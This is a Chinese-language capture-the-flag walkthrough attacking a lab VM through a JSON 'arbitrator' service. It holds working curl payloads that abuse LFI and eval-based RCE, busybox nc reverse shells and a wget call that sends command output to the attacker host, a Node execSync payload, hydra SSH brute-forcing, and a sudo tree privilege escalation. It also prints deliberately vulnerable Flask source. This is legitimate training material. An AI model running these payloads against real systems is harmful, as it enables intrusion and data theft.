1.信息收集
┌──(root㉿kali)-[/tmp/test]
└─# nmap -sn 192.168.2.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-20 05:42 EST
Nmap scan report for 192.168.2.1
Host is up (0.0088s latency).
MAC Address: B4:5F:84:E2:C0:16 (zte)
Nmap scan report for 192.168.2.2
Host is up (0.079s latency).
MAC Address: 6A:67:09:D1:B0:56 (Unknown)
Nmap scan report for 192.168.2.6
Host is up (0.000079s latency).
MAC Address: C8:8A:9A:D9:80:32 (Intel Corporate)
Nmap scan report for 192.168.2.84
Host is up (0.00037s latency).
MAC Address: 08:00:27:B6:85:12 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.60
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 18.87 seconds
┌──(root㉿kali)-[/tmp/test]
└─# nmap --min-rate 10000 -p- 192.168.2.84
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-20 05:42 EST
Nmap scan report for 192.168.2.84
Host is up (0.00061s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
222/tcp open rsh-spx
9000/tcp open cslistener
MAC Address: 08:00:27:B6:85:12 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 11.12 seconds
┌──(root㉿kali)-[/tmp/test]
└─# nmap -sV -sC -O -p80,222,9000 192.168.2.84
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-20 05:43 EST
Nmap scan report for 192.168.2.84
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0)
| ssh-hostkey:
| 2048 35:24:47:15:81:af:ee:0a:51:d5:34:53:52:86:42:9e (RSA)
| 256 52:c2:56:d3:6c:0d:e5:02:76:83:00:bf:5e:73:64:51 (ECDSA)
|_ 256 1a:8e:9c:db:11:ad:da:2d:cd:76:31:d1:fc:e5:ef:8d (ED25519)
9000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.12)
|_http-title: CTF Arbitrator
|_http-server-header: Werkzeug/3.1.3 Python/3.12.12
MAC Address: 08:00:27:B6:85:12 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.83 seconds
可以看到靶机开放80,222(ssh),9000(http)
80端口访问位apache默认页面,目录扫描未发现隐藏信息,不再展示
2.web渗透
访问9000端口,可以看到接收json然后传入只对本地开放的8080以及5000端口
<!-- {"action":"readfile","file":"/etc/hosts"} -->
源码注释有提示,经过几轮测试发现,action支持readfile,evalcode,对应的第二个参数分别是file以及code
curl -X POST -d 'json_payload={"action":"readfile","file":"/etc/hosts"}' http://192.168.2.84:9000/submit
{
"content": "127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::0\tip6-localnet\nff00::0\tip6-mcastprefix\nff02::1\tip6-allnodes\nff02::2\tip6-allrouters\n172.17.0.2\ta073427b45da\n",
"filename": "/etc/hosts"
}
可以看到hosts文件有个内网ip对应一个docker容器。读取hostname文件证明是docker
curl -X POST -d 'json_payload={"action":"readfile","file":"/etc/hostname"}' http://192.168.2.84:9000/submit
{
"content": "a073427b45da\n",
"filename": "/etc/hostname"
}
爆破pid读到python源码路径
curl -X POST -d 'json_payload={"action":"readfile","file":"/proc/19/cmdline"}' http://192.168.2.84:9000/submit
/code/agent/pyagent.py
成功读到源码
from flask import Flask, request, jsonify
import os
import sys
from io import StringIO
app = Flask(__name__)
@app.route('/process', methods=['POST'])
def process_action():
try:
# 尝试获取 JSON 数据
data = request.get_json()
except:
return jsonify({'error': 'Invalid JSON input or missing "action" field.'}), 400
# 检查数据和 'action' 字段是否存在
if not data or 'action' not in data:
return jsonify({'error': 'Invalid JSON input or missing "action" field.'}), 400
# 🚨 JSON 键冲突漏洞点:Python 读取最后一个 'action' 键
action = data['action']
if action == 'readfile':
if 'file' not in data:
return jsonify({'error': 'Missing "file" parameter for readfile action.'}), 400
# 🚨 本地文件包含 (LFI) 漏洞点:直接使用用户输入作为文件名
filename = data['file']
try:
# 路径遍历漏洞利用点:open() 没有路径清理
with open(filename, 'r') as f:
content = f.read()
return jsonify({
"filename": filename,
"content": content
})
except FileNotFoundError:
# 常见的 File Not Found 错误信息
return jsonify({"error": f"File '{filename}' not found or not readable"}), 404
except Exception as e:
return jsonify({
"error": f"Error reading file: {str(e)}",
"type": type(e).__name__
}), 500
elif action == 'evalcode':
if 'code' not in data:
return jsonify({'error': 'Missing \"code\" parameter for evalcode action.'}), 400
# 🚨 RCE 核心漏洞点:获取代码字符串
code_to_eval = data['code']
# 设置输出重定向,捕获 print() 输出
old_stdout = sys.stdout
redirected_output = StringIO()
sys.stdout = redirected_output
result = None
error_type = None
error_message = None
try:
# 🚨 RCE 核心漏洞点:将用户输入作为 Python 代码执行
result = eval(code_to_eval)
except Exception as e:
error_type = type(e).__name__
error_message = str(e)
finally:
# 恢复标准输出
sys.stdout = old_stdout
captured_output = redirected_output.getvalue()
if error_type:
return jsonify({
"error": f"Code execution error ({error_type}): {error_message}",
"type": error_type
}), 500
return jsonify({
"code": code_to_eval,
"result": str(result),
"output": captured_output,
"type": str(type(result).__name__)
})
else:
return jsonify({'error': 'Unknown action. Supported actions: readfile, evalcode.'}), 400
if __name__ == '__main__':
app.run(debug=True, host='127.0.0.1', port=5000)
引入了os模块直接os.system()执行命令即可,这里页面会返回仲裁报错,但是实际测试是执行的了
curl -X POST -d 'json_payload={"action":"evalcode","code":"os.system(\"busybox wget http://192.168.2.60:81/$(id)\")"}' http://192.168.2.84:9000/submit
php -S 0.0:81
[Thu Nov 20 05:59:25 2025] PHP 8.4.11 Development Server (http://0.0:81) started
[Thu Nov 20 05:59:53 2025] 192.168.2.84:40944 Accepted
[Thu Nov 20 05:59:53 2025] 192.168.2.84:40944 [404]: GET /uid=1001(python) - No such file or directory
[Thu Nov 20 05:59:53 2025] 192.168.2.84:40944 Closing
直接弹shell即可,不过读取passwd时发现环境都是sh环境,反弹bash会直接断掉,所以弹sh,进shell后发现实际上docker内没有bash
curl -X POST -d 'json_payload={"action":"evalcode","code":"os.system(\"busybox nc 192.168.2.60 2332 -e /bin/sh\")"}' http://192.168.2.84:9000/submit
3.提权
进来是py用户,可以读取到所有源码,根下有三个flag,分别对应用户可读
-rw------- 1 node node 23 Nov 20 10:09 flag_node
-rw------- 1 php php 13 Nov 20 10:09 flag_php
-rw------- 1 python python 20 Nov 20 10:09 flag_py
分别反弹php以及node用户shell
php
curl -X POST -d 'json_payload={"action":"evalcode","code":"system(\"busybox nc 192.168.2.60 2332 -e /bin/sh\")"}' http://192.168.2.84:9000/submit
node
node开在3000端口,直接在反弹shell里请求
PAYLOAD_LEN=$(printf "%s" "$JSON_PAYLOAD" | wc -c)
(
printf "POST /evalcode HTTP/1.1\r\n"
printf "Host: 127.0.0.1:3000\r\n"
printf "Content-Type: application/json\r\n"
printf "Content-Length: %s\r\n" "$PAYLOAD_LEN"
printf "Connection: close\r\n"
printf "\r\n"
printf "%s" "$JSON_PAYLOAD"
) | busybox nc 127.0.0.1 3000
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 129
ETag: W/"81-tdc7ZL7Y8BudCT9OfOyfE8uFcjE"
Date: Thu, 20 Nov 2025 11:23:07 GMT
Connection: close
{"code":"require(\"child_process\").execSync(\"cat /flag_node\").toString()","result":"have_@funnnnnnnngooos}\n","type":"string"}
flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}
这个flag是主机某个用户密码,ssh爆破一手
┌──(root㉿kali)-[/tmp/test]
└─# hydra -L ssh.txt -P pass.txt -s 222 192.168.2.84 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-20 06:25:01
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:30/p:1), ~2 tries per task
[DATA] attacking ssh://192.168.2.84:222/
[222][ssh] host: 192.168.2.84 login: admin password: flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-20 06:25:10
root
admin@debian:/$ sudo -l
Matching Defaults entries for admin on debian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User admin may run the following commands on debian:
(ALL) /usr/bin/tree
------- Input options -------
--fromfile Reads paths from files (.=stdin)
admin@debian:/$ sudo tree --fromfile /root/root.txt
/root/root.txt
`-- flag{woahiz}
0 directories, 1 file